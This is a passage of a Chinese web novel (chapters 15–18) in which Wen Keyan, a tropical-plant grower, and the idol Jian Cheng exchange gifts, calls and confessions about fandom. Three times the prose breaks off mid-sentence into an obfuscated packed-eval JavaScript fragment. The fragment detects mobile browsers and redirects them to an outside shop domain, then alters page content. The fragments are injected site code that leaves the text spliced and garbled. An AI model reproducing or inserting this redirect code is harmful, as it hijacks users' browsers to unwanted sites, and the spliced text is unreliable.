简承双手交叉在胸前,想了想之后解释说:“组合分开之后我就成立了工作室,虽然工作室还是依托着经纪公司,但自由度很高。温老师不关注娱乐圈的话——” 话说到这里他看了温可言一眼,然后接着说:“可能不太知道,其实大部分艺人的权利和自由度比很多人想象得要高,尤其是有一定成就的。” “所以说很多决策都是你们自己做的咯?”温可言顺着问。 说话的时候微信响了几声,温可言拿出来看了一眼是毛思敏的长条语音消息,就先放着没听。 “是。”简承说:“比如发什么歌,比如接什么剧本演什么角色,经纪人会参与,但最终还是要我点头。” 温可言若有所思地点点头,抬眼看了简承又转移。 “想问什么?”简承笑。 “唉也没什么……”温可言有些扭捏地晃动,伸手去摸离他最近一片花烛叶子,又挠挠头小声说:“那你们为什么不开演唱会呀。” 大概是没想到温可言会问这个问题,简承有片刻的呆滞。 “我就是随便问一下。”温可言看他表情变了,立刻着补说:“因为上网偶尔会刷到,你们比较红嘛所以很容易刷到,演唱会也不是说开就开的……” “因为作品不够。”简承说。 “啊?” “因为之前的歌版权不在手里,这五年我出了两张专辑办过两次专场,但队员里还有没出过专辑只有单曲的。” 简承认真地分析着,“我们在攒作品,攒钱买版权。” “这次晚会你们唱了一首。”温可言说。 “是的。”简承说,“所以很快就能开演唱会了。” 温可言听完,不自然地红了眼眶,撇过头去。 简承恢复轻松的状态,不去打扰温可言的情绪自己往前走了一点,他站在不远处轻声说:“所以辛苦了,我们的粉丝们。” 安静的大棚里这句话清晰地传进温可言的耳朵了,他好想马上给毛思敏打电话哭一哭。 失态并非温可言本意,他跟简承说:“想到我的植物们了,我比较感性所以……” “可以理解。” 简承转头,“温老师答应我一个请求好吗?” “什么?” “这件事可以告诉你的朋友,然后请你们两个帮忙保密。” 温可言呆滞。 简承笑着,走过来俯身小声说:“背着痛包真的很好认。” “我——”温可言还不死心,想狡辩一下。 “温老师。”简承忽然转变语气,“难道你朋友是我们粉丝很丢脸吗?” 温可言:“不不,不是那个意思。” 简承满意点头,给台阶:“我猜你应该是怕我们会介意,所以不让你朋友说,对不对?” 温可言点头。 简承又说:“你是我的朋友,我朋友的朋友是我们粉丝,这对我来说是非常值得高兴的事。” “是吗。”温可言终于羞涩地笑了一下。 简承:“而且还是团粉,那天我们都很高兴。” 温可言眼睛亮起来:“真的?毛毛是团粉而且是妈粉!” “妈粉?”简承有些意外,“她看起来跟你差不多大。” 温可言笑:“粉籍和年龄无关的,这是一种感觉。” “哦,是么?” 简承的笑有些玩味,温可言隐约感觉自己说错了话,眼神一转逮到一株花烛,“你看这个,银面铜锣烧的母本,我记得你最开始来直播间的时候特别喜欢卖铜锣烧和克莱恩,买了得有二十盆吧。” “因为你说那是新手入门款。”简承说。 温可言笑笑,往前走一点,“这一片都是我们的父母本,这个是我去年在热植展买回来的,花了我很多钱,但是后续杂交的效果不太理想。” “为什么?这么漂亮。” “父母本漂亮不代表后代就会漂亮,比如你想要这株的粉色叶脉和这株的银色纹路出现在同一片叶子上,于是进行杂交,但出来的结果可能会是杂乱的灰黑脉。” 温可言捏着叶子给简承解释,“效果不好,就再各自换搭档杂交。而且有些植株还会出现返祖现象,长着长着就长成母本那样了。” 简承一直跟在温可言身后,问他:“不好看杂交品怎么办。” 温可言轻声说:“也会有客户喜欢,但没有市场的话还是会淘汰掉,不会再培育相同的品种了。” “我们也是这样。”简承忽然说。 “嗯?”温可言没反应过来。 简承:“选偶像也是这样,我进公司训练的时候有五个同期,不到一年他们就陆续离开了。我们组合四个人,其实是从三批训练生里选出来出道的。” “我知道。”温可言在心里说。 “没有卖惨的意思。”简承说着,伸手抚摸了一下有着美丽银色脉路的花烛叶片,“当偶像就是要这样,享受着资源、高薪还有粉丝们的爱,就是要经过层层筛选才配。” “你超级配。”温可言脱口而出。 简承笑,“所以和公司解约之后很长一段时间我都不知道该怎么办。” “现在呢?” 简承微微皱眉似乎在搜索记忆,“热植的叶片就像人一样,新芽是一个样子,长大了是一个样子,成熟稳定之后又是一个样子,不同时期有不同的观赏点。” 温可言隐约想起来,“我说的吗?” 简承:“嗯,你后面还有一句。” “什么?” “养死了就不行了。” 温可言哈哈大笑,笑完又想起简承真的养死了很多。 简承:“所以我现在应该是处在一个即将成熟稳定的阶段。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367288|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 大棚面积大品种多,全部逛完已经十二点了,两人站在巨物休息区,简承说想拍照打卡。 “给。”简承自然地把手机递给温可言。 温可言:“我拍照技术一般哦。” 简承:“一般就够了。” 今天天气不怎么好,光线很暗,简承穿着简单的衣裤随意往藤编椅上一躺。 “来吧。” 出片了。 温可言把手机还给他,“你要发吗?” “不。”简承滑动屏幕看照片,“我也怕给你造成困扰,温老师。” “哦,可能。” “以后再发吧。” 温可言的手机又响起来他忙着看,随口说了一声“好。” 是毛思敏微信语音电话。 “喂?怎么了?”温可言以为有什么急事。 毛思敏:“我一晚上没睡着一直在想简哥的事,你干嘛不回我消息我真的越想越觉得不对劲,难道你——” 听到这里温可言意识到毛思敏的声音太大,大棚里这么安静没开扩音也听得很清楚。 温可言猛地转身,手紧紧地捂住话筒。 简承笑着。 温可言对着手机说:“毛毛我有事。” “什么事啊,你吃午饭没?”毛毛问。 温可言已经无心听毛思敏在说什么了,简承已经凑过来试探性靠近手机,他伸手指了指,小声说:“那个朋友?” 温可言呆呆地点头。 “毛毛你好。”简承俯身对着话筒说,“我是简承,抱歉是我占用了你朋友的时间,我来大棚参观了。” 电话被挂了。 简承有些尴尬,但温可言非常能理解,刚认识的时候他也这样。 “抱歉。”简承说。 “没关系。”温可言收起手机,“她害羞了。” 简承微微耸肩,“好,希望没有吓到她。” 话音刚落,有人推开大棚的门,是基地的阿姨来叫人吃午饭。 “我们去吃饭吧,虽然是食堂但我们阿姨的手艺非常好的。”温可言说。 简承看了眼手机上的时间,“我可能没有时间了,要开车去机场,助理已经在机场等着了。” 时间这么紧也要来逛大棚吗? 温可言送他出去,走到大棚门口的时候看到简承带来的礼物,再次表达了感谢。 “不客气,你帮我更多。”简承说着,转头看一眼温可言,说:“希望你们喜欢我带来的小礼物,一份给你一份给你的朋友。” “毛毛也有?谢谢!” “巧克力的保质期不长,温老师。” 这是简承第二次提巧克力的保质期了,温可言不解地看向他。 “温老师。” “嗯?” 简承笑着,耳朵有点红,似乎也很不好意思。 “用遮瑕的话需要激活一下。” “激活?” “嗯,就是在指腹把它揉一揉,这样用起来就服帖了。” 温可言反应过来了,他的脸以肉眼可见的速度缓缓变红,最后只能抬起双手捂住眼睛。 没有什么比在偶像面前出糗更丢脸的事了! “温老师?” “你走吧我就不送了,我……我饿了我得去吃饭,你还记得路吧,出了大棚右转然后——” 温可言的手忽然被拿下来。 简承温柔地看着他,用一直放在口袋里的温热手指在温可言眼下轻点。温可言闭上一动不敢动。 “我以前也这样。” 简承说:“想要帅气的出现在喜欢的粉丝面前,但是又不会化妆,笨笨地在脸上乱涂。好了。” 温可言睁开眼。 “我走了。”简承往门口走了两步,又回头,“下次见。” 空荡的大棚里只有通风设备发出的轻微风声,温可言觉得自己脑袋烧起来了,烧得有点视线不清。 他一屁股坐在椅子上,用两只冰凉的手给脸颊降温。 “不是……” 温可言缓了很久,路过的员工又来喊他吃饭。 “好,马上。”温可言说。 桌面上放着简承送的礼物,一个是巧克力蛋糕。 温可言把另一个袋子里的东西拿出来,是两套简承代言的香水礼盒,还有两个信封,像礼盒附送的明信片。 温可言拆开其中一封。 “天呐!” ——信封里是光合作用四个成员的四张宽幅拍立得亲签。 16.第 16 章 第16章 此刻温可言开始感谢毛思敏的痛包。 如果不是毛思敏背了痛包去看跨年晚会就不会被他们四个看穿粉籍,如果没有暴露毛思敏的粉籍就不会送这个礼物。 拍立得意味着是独一无二的照片,还有亲笔签名。 温可言美滋滋地一一欣赏四张拍立得,想着得赶紧上网买个宽幅尺寸的卡膜套上。 但越看照片越觉得眼熟,温可言忽然想起昨晚简承发来的消息。他拿出手机翻一翻聊天记录,找到简承发来的那张照片比对了一下。 照片里能看到两个人穿着,竟然和拍立得里的一模一样。 所以是昨天晚上特地拍的吗? 温可言差点扑腾倒地,立刻拍了一张照片发给毛思敏。 毛思敏都没细看,秒回:他还在吗? 温房:走了。 毛思敏的电话拨过来,“什么意思啊你们今天又私底下见面了?” “他想来参观大棚?我不是一直对花友开放大棚嘛很多花友都来过的。” “什么花友不花友的,这可是简承!” 温可言哦了一声,又马上接上一句:“但也是我的花友啊。” “……”毛思敏也愣住了,“你接受真良好,总感觉哪天手伸你裤子里了你还说他只是给你挠痒痒。” “不会吧……” 温可言一边说一边低头看着这几张新鲜的拍立得,他的手指轻轻抚过简承似乎带着笑意的冷脸,反驳得也有些没底气了。 他趴到桌子上,“应该不会吧,毛毛,我只是个普通人啊。” 毛思敏那边凌晨五点多才睡,正心急地拆刚送到家的麻辣烫外卖,她说:“难道简承要谈玉帝吗?” “哈哈哈哈。”温可言没良心地笑了,“不对,你的意思是简哥也是gay吗?” 毛思敏:“一直有人这么说呀,他和梁稳不是还被拍到去布宜诺斯艾利斯朝圣吗?” “不是去巴西看球,然后顺便旅游吗?” “哎呀看你怎么想吧。” 温可言沉默着,脑子里回想着从简承给自己发私信以来的事。 他怎么想都觉得简承的动机是很合理的。 “毛毛,我还是觉得不可能。”温可言拿起简承的那张拍立得,小声说:“哪有那么美的事啊。” 毛思敏笑:“那如果简哥真对你有意思,你答应吗?” “这个……”温可言花痴地笑笑,“很难不同意吧。” “你看。不过简哥要是追我,我才不同意。” “为什么?” “我觉得他是gay。” 温可言:“那简哥送的香水和亲签你还要吗?” 毛思敏:“什么亲签?” “我给你发的图呀,他今天带来的礼物,而且是昨天晚上现拍现签的哦。” 毛思敏返回对话框点开图片,“啊!!!” 当天下午毛思敏就地铁转公交来村里了,温可言把亲签和礼物给她、告知会有演唱会,毛思敏还赶上分巧克力蛋糕吃了两块,并且从大棚里顺走了一颗密叶猴耳环。 分别时她表示有力气再上一个月的班了。 温可言在仓库盘点了一下午,又去老爸那边的大棚帮忙去市区送了一趟货。 启程回家的路上天已经黑了,爸妈最近加班都在大棚吃饭,温可言自己厨艺不佳就在小区门口吃了碗面。 这几天忙得脚不着地,好不容易有一天能早早回家休息,温可言洗完了澡窝在沙发里找个电影看。 家里两只小猫在疯狂地挠猫抓板,嘎吱嘎吱的搞得温可言有点想吃薯片,于是去妈妈的零食车里拿了两包薯片。 爸爸的家乡是吃辣的,一家三口也变得爱吃辣。 电视里放着激烈的枪战,温可言吃完一包麻辣薯片觉得馋甜食了,又暂停电影去零食车翻找。 “怎么没巧克力了。”温可言只找到一个好丽友派。 温可言想吃甜食的时候会下意识选择巧克力,真吃了也不会吃多少,但没吃到又会觉得心痒痒。好丽友吃完,温可言想吃巧克力的心情达到顶峰。 温可言想起晚会前和毛思敏一起吃的那盒好像没吃完,起身去卧室翻包,把包翻了个底朝天也只找到几块包装纸。 他转头看向书桌。 简承提保质期两次了,难道真的很短吗? 温可言拿起来仔细看,保质期还久着呢。 书桌上还放着简承今天送的香水礼盒,好像每次见面他都会送礼物,现在礼物一多温可言居然有种反正他还会送,不用特地珍藏的感觉。 客厅里小猫依旧嘎吱嘎吱挠猫抓板。 “吃就吃了!”温可言拿起巧克力会客厅,继续窝在沙发里看剧。 下次见面他还会送的! 电影剧情演到混进现场的反派投掷炸弹,温可言张嘴咬了一口巧克力条。 砰—— 温可言:“……” 他低头看向手中的巧克力条。 这不是黑巧,是橙条巧克力。温可言吃过类似的。 糖渍橙皮做成的夹心香甜柔软,果香味明显,外面包裹的薄薄一层纯黑巧克力很好的中和了糖渍风味的一点甜腻感。 不是黑巧,所以简承知道自己撒了谎。 客厅里枪战混合着猫战,温可言脑子再一次梳理他们认识以来的细节。 “根本没有细节呀,都没见过几次。”温可言吃了好几根巧克力,电影已经顾不上看了,拿出手机重看聊天记录。 就连聊天记录也是几分钟就可以翻完的。 倒是聊天记录里有不少简承询问自己是不是不喜欢他的话。 温可言想:“他不会以为我是讨厌他所以才不吃他送的巧克力吧!” 这对粉丝来说简直是天塌了,这和线下anti有什么区别! 温可言决定去找简承表达一下感谢,顺便解释一下巧克力的事。不管是不是粉丝,收到了礼物都应该向对方表达感谢的。 自己这样刻意躲避反而显得不正常,明明很爱他,却做了让他不开心不自信的事。 温可言懊恼着点开聊天框。 温房:你在吗? 。:嗯,在聚餐。 。:怎么了温老师。 温房:没事,就是想谢谢你今天送的礼物。 温房:毛毛很喜欢。 。:你喜欢吗? 温可言挠挠头,难道真的像毛思敏说的那样其实两个人的粉籍都暴露了? 。:蛋糕。 温房:喜欢! 。:喜欢就好。 温可言的手指在屏幕上翻飞,想跟他说自己是因为很忙没来得及吃他送的第一盒巧克力,那天撒谎了。 。:我先吃饭,回去再跟你聊好吗? “啊?”温可言停下手指。 。:我看你一直在输入中。 。:但是我在跟剧组的人吃饭,不好一直玩手机。 我们是需要这样报备的关系吗?温可言想。 他删掉对话框里的内容,回了个好的你先忙。 面对如此坦诚如此真心的简承,温可言忽然觉得自己这样藏着掖着一点都不好。 零食吃了一堆,电影也到了尾声。爸妈回家的时候看到温可言抱着两只猫咪瘫在沙发上,零食包装堆满了茶几,那盒巧克力也只剩下几根。 “怎么了儿子?”江雯女士走过来。 她太了解儿子了,每次心情不好就会吃很多零食,有时候看他疯狂摄入垃圾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374020|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食品,真觉得不如喝两杯倒头睡呢。 可惜温可言不抽烟不喝酒,只能吃点零食。 猫咪见主人来了,喵喵叫着从温可言怀里挣扎逃走,在江雯女士脚边举行欢迎仪式。 温可言唉了一声。 “怎么叹气了。”江雯女士坐下来,“是钱包受伤了还是感情受伤了?” 温可言看向她:“妈,你觉得善意的谎言可以原谅吗?” 江雯女士:“不会是伤感情又伤钱了吧?你网恋被骗钱了?” “妈——”温可言生气。 “好好,对不起。”江雯女士笑着,“嗯……看你更在意善意还是谎言咯?” 温可言:“你呢?” 江雯女士毫不犹豫:“谎言,骗老娘的都来领巴掌。” “……”温可言瘫倒。 老爸拿着垃圾桶过来收茶几上的垃圾,说:“但其实你妈很心软啦,儿子,那个人心软吗?” “那个人?”江雯女士疑惑转头。 “嗯。”老爸笑着:“我看到薛阿姨发的朋友圈了,说吧你骗他什么了?” 江雯女士:“谁?” 老爸:“你儿媳,嘶……你女婿?” 江雯女士看向温可言:“你老公啊!” 温可言已经没有力气解释不是老公了,弱弱地说:“我骗他我不是他粉丝。” “这很严重吗?” “如果没有后续的这些事就不严重。” 温可言坐起来,接着说:“但是我打着不是他粉丝的名义获取了他的安心和信任,去了他家和他交朋友,还收了他的巧克力!妈,如果他知道我是粉丝一定会觉得我用心不良的!” “是有这种可能。”江雯女士点点头,忽然反应过来:“所以你说去市里客户家,是去简承家里呀?” 温可言点头,“嗯。” 老爸收完垃圾准备走了,忽然说一句:“儿子,爸有一妙计。” “什么?” 温可言和江雯女士异口同声问。 老爸:“脱粉可解。” 留给温可言脱粉的时间不足三分钟,因为简承的语音电话打过来了。 “爸妈我去睡了!”温可言拿着手机跑回房间。 江雯女士对老公嗔怒:“哪有你这么说话的,好歹也有十年感情了。” 温国强:“单方面的嘛。” 江雯女士:“我儿子很痴情的好吗?” 温国强:“脱粉了泡他呀,大明星那么帅,到时候粉丝转男友,不晓得有多爽。” …… “喂?”温可言轻轻关上房门。 “是不是有点晚了。”简称那边有布料摩挲的声音,像在脱衣服,“啊……你要睡了吗?” 温可言:“还没。你听起来好累。” “确实很累。” “今天拍戏了吗?” 简承喝了口水,“没,应酬了。临时加了个角色,要改掉一些和我有关的剧情。” “啊?”温可言声音不自觉增大,“这种也能随便改吗?” 简承:“嗯,都能改,我只是很讨厌被骗。” 温可言顿了顿,不自觉低下头:“我知道了……” “什么?”简承没有太听清,“对了你想跟我说什么事。” 温可言按照原计划,说了巧克力的事。 “这是小事温老师,没关系的。”简承说:“你不用为此感到难过。” “还有一件事……”温可言的声音越来越小。 “是吗?”简承那边很安静,他稍稍停顿之后说:“可是我好累了,下次再说好不好?对了,温老师,巧克力好吃吗?” 温可言闷闷道:“好吃。” 简承:“那就够了,晚安。” 17.第 17 章 挂了电话,温可言有些担心他。 毕竟从来没有见他这样喊累过,在长达十年的偶像生涯里从未在任何物料中看到他喊过累。 温可言抱着枕头倒在床上,希望简承能好好休息,希望到时候他能原谅自己。 这时候手机忽然叮的一声,有新的推送,温可言懒懒伸手拿过来看,是微博特关发微博了。 “嗯?”温可言翻个身趴着方便看手机。 简承发微博了。 【谢谢小狗的礼物。】 配图是他沾了小狗爪印的裤子。 微博推送有延迟,温可言看到的时候评论已经过万了。 上网就是来追星的:啊啊啊啊哥哥好可爱 fff烦:这是哪里的狗狗呀简哥~ pot开演唱会:请《隐》剧组立刻撤除新角色!!拒绝敷衍!!拒绝冷处理!!拒绝篡改简承戏份!!请正视观众诉求!!尊重演员尊重编剧!! tonight1299:老公我也想踩qwq 你说99不88:我去这狗脚有36码 没错是你那么冷漠:小狗微博发来 温可言一连翻了十分钟,每次都被有才华的同担逗得哈哈大笑。 笑完才想起来这狗爪印是小乖和水晶弄的,但是心里的担忧和抱歉在看到简承的微博和可爱的留言之后消散大半。 “很多事是无法控制的,如果结果不算坏的话就不要谴责自己了。”温可言想。 简承的拍戏工作似乎真的遇上了麻烦,一连好几天都没有联系温可言,温可言只能在网上看一些剧组的动态,不敢去打扰他。 爱豆拍戏向来口碑不好,能转型成功的也没几个。 简承已经算是其中比较低调诚恳的了,他不接主角也不抢戏,不会动不动去演不适合自己的角色挑战自己,一直在安全区内缓慢进步。 因为简承一直没断音乐事业,粉丝们的重点都在音乐方面,很少干涉拍戏的事。 但这次剧组临时插入和简承有感情戏的角色,确认真的有这件事之后粉丝们开始维权。 一开始粉丝的重点是临时加角色改戏,关注度上来之后不知不觉被歪曲成“男爱豆不敢演感情戏就别来当演员”。 如此一闹就不止是简承一家的事了,拉踩的倒油的全都来了乱作一团。 小剪刀在新生代粉圈的攻击力面前就像一根面条,要么脆脆的,要么软软的。 简承工作室很快出来发了声明,大概意思就是简承和剧组是合作关系,一切都会商量着来,还发了一张片场的照片,上面两行小字写着顺利进行中,示意粉丝简承已解决妥当。 而关于爱豆演感情戏的骂战,小剪刀因为战斗力随着年龄增长削弱,简承家迅速在这场战斗里被挤到角落休息了。 温可言和毛思敏作为小剪刀中的上班族,更是参战的时间都没有。 一切又恢复如常,这样远远的各自做着自己的事,每当这种时候温可言就清楚的知道,他们本来就不是一个世界的,一直离得很远很远。 这几天温可言在挑选春季热植展要带的品,强哥绿植做得最花烛这个品类最多,也是做得最好、在业内小有名气的品类。 热植展的收入虽然少,但是是一个很好的交流机会,每年都能在热植展上看到同行展出的漂亮热植,交流一些培育的经验。 正在表格里筛选的时候,有四个员工敲响了办公室的门。 “来啦,坐。”温可言把椅子拉过来。 “今天是想跟你们说一下直播的事儿,你们是基地里比较年轻的员工,也都做了两年以上。今天找你们来是想问问有没有愿意当主播的?” 温可言构思这个事情已经有一段时间了,这两年都是温可言和秦烟、还有一个助理直播卖东西,虽然他们做这个事情没有压力,但固定的主播对一家店来说有风险,再者两人都是培育组的主力,这样白天晚上不停歇的非常累。 如果不能把直播的工作交出去,那做新账号的计划也没办法启动,今年是基地最忙的一年,温可言上要管理培育,下要浇水换土,忙到低血糖的时候终于明白了什么叫不会带团队就只能自己干到死。 现在客源相对稳定,直播卖货也有提成,虽然会累,但对想赚钱员工来说是个很好的机会。 热植这一行想要在外面招主播比较难,因为知识点多又杂,和服装食品这些大品类有壁,温可言观察了很久才选了这四个员工。 “目前我们有两个平台,年后打算再开一个。”温可言把他的计划讲完,把电脑显示屏面对他们,“主播的额外薪资、提成你们来看一下。” 聊了半个多小时,四人中有一个意愿不明显,是比温可言还小两岁的小妹妹,她觉得自己不那么外向不能活跃直播间的气氛。 “我也不能呀。”温可言笑,“你可以走呆萌人设。” 员工们疑惑。 温可言一下子把追星术语说出来了,轻咳一声,“不是所有观众都喜欢热闹的直播间的,我们主要还是看产品,然后你们要对热植有足够的了解。” 温可言没有要他们立刻给回复,说完就让他们先下班,下周再给回复。 周四晚上,温可言今天拉了一车蝴蝶兰去隔壁市,把货车开回爸妈这里又一起吃了个饭。 “儿子帮我拿一下快递,快超时了。”江雯女士嘱咐,“取件码我发你手机上。” “好。” 从家里的大棚出来的时候下起了小雨,一路从大棚跑到停车场时头发都湿了不少。他打开空调脱掉工服,等待车和自己都热起来。 雨点啪嗒啪嗒打在车顶,温可言窝在驾驶座,想着明天就该给简承发消息说周六上门的事了。 明明上周末逛大棚的时候觉得和简承亲近了一些,只是隔了几天,就觉得一切都冷了下来。 手机响起来的时候温可言以为是妈妈发来取件码,没着急看。 响第三次的时候才觉得不对劲。 。:温老师。 。:[图片] 。:吃饭中,你还在忙吗? 图片的内容是房车餐桌上的一份看起来没什么油脂的牛排。 温可言没注意到自己上扬的嘴角,忙用还有些僵硬的手给他回消息。 温房:不忙。 没等他把“你这几天还好吗?”发过去,简承的消息唰地一下冒出来。 。:不忙怎么也不找我。 温可言:“……” 。:每次都是我找你。 温房:不是的……我担心会影响你拍戏。 。:拍戏不是坐牢,温老师。 。:再说坐牢都能探监呢。 温可言笑了笑,轻轻趴在方向盘上回消息。 温房:去探班才叫探监吧! 。:你很懂嘛。 。:那温老师要来探监吗? 温房:啊?这不好吧。 消息刚发过去,简承的语音电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377897|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了过来,温可言自然地接通。 “喂?” “在吃饭打字不方便,打语音好吗?” 温可言嘴角微微扯动,心想你不是已经打过来了吗! “好啊,没关系。”温可言温柔地说,“怎么这么晚才吃饭呀?” 简承:“今天拍外景回来晚了,平时都是准时吃的,放心。” 我没有说担心啊!温可言摸摸鼻子。 “那就好。” 电话那头忽然有别人说话,温可言没听清,只听到简承回了一句“可以”。 简承:“我助理。” “哦哦,好。”温可言总不能问你们说了什么。 “温老师,跟我聊天很无聊吗?”简承忽然说。 他讲话的时候像是特地凑近了手机话筒,但是声音压得很低,“其实我在剧组很寂寞的,压力又很大,剧组都是前辈。” 这倒是真的,温可言默默点头,但随即又想这么好的阵容你就知足吧! 温可言:“你的弟弟们呢?有没有去探监。” “都忙啊。” “没有吧。”温可言脱口而出,接着立刻打补丁说:“毛毛说最近没行程呢,她就是这样的经常跟我说这些。” 简承闷闷笑了一声,“那你一会儿去告诉毛毛,他们有行程,问她想不想看?” “什么行程?”温可言急了。 简承:“小远和梁稳要去街舞堂当总决赛飞行嘉宾,就在上南市。” 温可言:“真的吗!” 怎么会一点消息都没有呢?而且也刷到过消息,说总决赛助演嘉宾是某选秀男团里的双胞胎兄弟。 “当然,我骗你干嘛。”简承说,“不过是导演出面叫他们去救场的,所以外面没消息,原本的飞行嘉宾出事了。” “什么事啊?”温可言吃到大瓜,“你怎么知道的?” 简承:“小远告诉我的,大概是要发蓝底白字的事,过两天你就能看到了。” 面对着温可言这比自己当初第一次拍mv还烂的演技,简承实在是装得有点难受,憋着笑饭都没来得及吃几口。 温可言:“天呐,那小远和阿稳都去吗?” “嗯。”简承咳了两下,“是的。” 温可言点头认可:“太好了,你们关系真的好好哦。” “他们两个这半个月都呆在一起的。” “哇!” “在录新专辑。” 温可言真的幸福晕了,原来有人脉是这种感觉。 简承:“所以你……和毛毛想去看吗?时间比较长,周日下午两点到晚上八点。” 说到这里温可言才反应过来,忙说:“那我问问毛毛,她想去的话我就陪她去吧。” 温可言说完微微眯眼,心想捆也要把毛思敏捆去录制现场,那可是两个舞担的纯舞舞台! 此时又听到电话那头有别人说话,这次温可言听清楚了,是张海峰说“简哥,十五分钟后出发”。 “好。”简承应声,往座椅靠背一躺,叹口气说:“好累,有点想孩子们了。” 刚刚得了这么大的好处,温可言马上软着声音说:“放心啦,我后天一早就去照顾它们,你安心拍戏绝对一盆都死不了。” “那周六可以跟我开个视频看看孩子们吗?” “当然!” “好,最后一个问题。” “你尽管问。” 简承:“你那天想吃什么?” 18.第 18 章 温可言一直抱着上门干活的心态去的。 “一定要吃吗?” “嗯。” “我想想……” “清淡的还是辣的?”简称问。 “辣的。” “肉还是蔬菜?” “都可以。” “好。” 温可言愣,“哦哦,好。” 周日中午十二点整,温可言刚浇完水,把长出气根的十几盆热植搬到地上来,准备给他们上围脖。 简承的视频打过来的时候温可言正忙得一身汗,把加绒卫衣也脱了,只剩一件打底的T恤。 前天下雨降温有点感冒,出门的时候穿得很厚,想着简承家里暖气这么足,脱了也没关系。 “喂……”温可言自然的让后置摄像头对着地上的热植,没想到手机屏幕里是简承的怼脸视角,“你,你不忙吗?” 素颜的简承微微皱眉,故作疑惑道:“你是希望我忙还是希望我不忙?” 没有哪个粉丝希望自己偶像闲得在家抠脚吧。 温可言:“哈哈。” 简承发现了,每次有难回答的问题,温可言就装傻“哈哈”。 “我不忙,今天是夜戏,我刚从健身房回来洗完澡。” “哇,工作期间还要健身吗?”温可言问。 简承:“要的,主要是不保持后面要重新培养运动的习惯比较难。” “这样。”温可言缓缓盘腿坐下来,手机镜头对着面前的一盆papi花烛说:“你看,好多气根。” “之前有两盆也长了很多。” “哪盆?”温可言的镜头转向旁边的热植架。 简承:“死了。” 温可言笑,“应该是烂根了。” 简承问这跟气根有什么关系。 “热植长气根一般是因为土壤积水板结,或者是花盆的空间不足。它们是为了想要吸收氧气和水分才会长出延伸到土壤外面的气根,还有部分是因为养殖环境很好,湿度大,植物也会生出旺盛的气根。” 温可言说到自己专业领域的东西时很专注,镜头对准面前的papi花烛气根,说:“你看这棵的气根表面有点干裂了,是因为冬天开地暖空气里太干燥。” “那怎么办,要剪掉吗?”简承在沙发上坐下,手机顺势离得远了一点,露出v领的丝质睡衣,脖子上挂的白色毛巾微微遮挡,胸前的轮廓若隐若现。 温可言:“……啊这个,不用,不用剪。” 简称:“换个更好的加湿设备?” “也不用,你这个已经很好了。”温可言不自然地转移眼神,“单独给气根做个加湿设备就好了,等你有时间了规划一下热植柜。” “怎么做?” “用这个。”温可言从身后掏出一摞一次性杯子。 “嗯?” 温可言一只手拿着手机,单手没办法做展示,就把手机架在另一个盆上,如此一来就只能用前摄像头了。温可言歪着脑袋从镜头上方看过来,确认画面能展示整个花盆。 这个视角活像故意在手机前捣乱的小猫。 架在地上视角太低,怎么都看不到整理气根的全景。 “你家有手机支架吗?”温可言问。 “有啊。”简承自如地回答,“在卧室旁边的那个房间。” 温可言嘴角微微抽搐:有你不早说!! “哦哦好的。”温可言抓着手机起身,这次进来他没套鞋套了,穿着简承准备的客人拖鞋,走路的时候踩在地上有啪嗒啪嗒的声音。 “这个吗?” “嗯。”简承慵懒地往后窝进沙发里,“你进去找找。” 温可言推开门,才发现这个房间是简承的音乐房,里面有很多设备,做了全屋隔音,连玻璃窗都是定制的厚厚一层。 里面光线很暗,温可言伸手开了灯。 自简承开始演戏以来,有不少唱衰简承音乐事业的声音,说他赚了演戏的快钱很难再专注音乐,但温可言看着这个充满活动痕迹的屋子,他知道简承一直在做音乐。 这个房间是整个家里看起来最有活人气息的地方。 “有看到吗?”手机里传来简承的声音。 温可言才赶紧扫视屋子,在放着合成器的桌子上看到了一个手机支架。 “看到了。” 这个房间至少有四十个平方,分成好几个工作区,温可言走过去的时候居然在一堆设备里看到一个供台。 供台上的照片是个五十岁左右的女人,烫着小卷发笑眯眯的看着镜头。 只看了两眼温可言就走开了,简承把她供奉在他的音乐房里,应该是很重要的人。 “看到我阿嫲了吗?” “阿嫲?” “对,我外婆。” “是吗?”温可言疑惑,“从来没听你说过。” 简承轻声笑笑,“是没说过,温老师想倾听三十岁男人破碎的童年往事吗?” 温可言:“哈哈。” 简承有点没辙了,笑得有点命苦:“好了我们去弄气根吧。” 温可言后知后觉自己那样装傻有点不礼貌,一边往外走一边说:“对不起哦,你要是想说的话我会认真听的。” 画面里只有晃动的手机支架和带着迟疑的脚尖,简承无意让温可言感到愧疚。 “下次吧,会有更合适的机会的。” 回到客厅架好手机支架,温可言把热植挪到面前,又不知道从哪里掏出一大袋水苔。 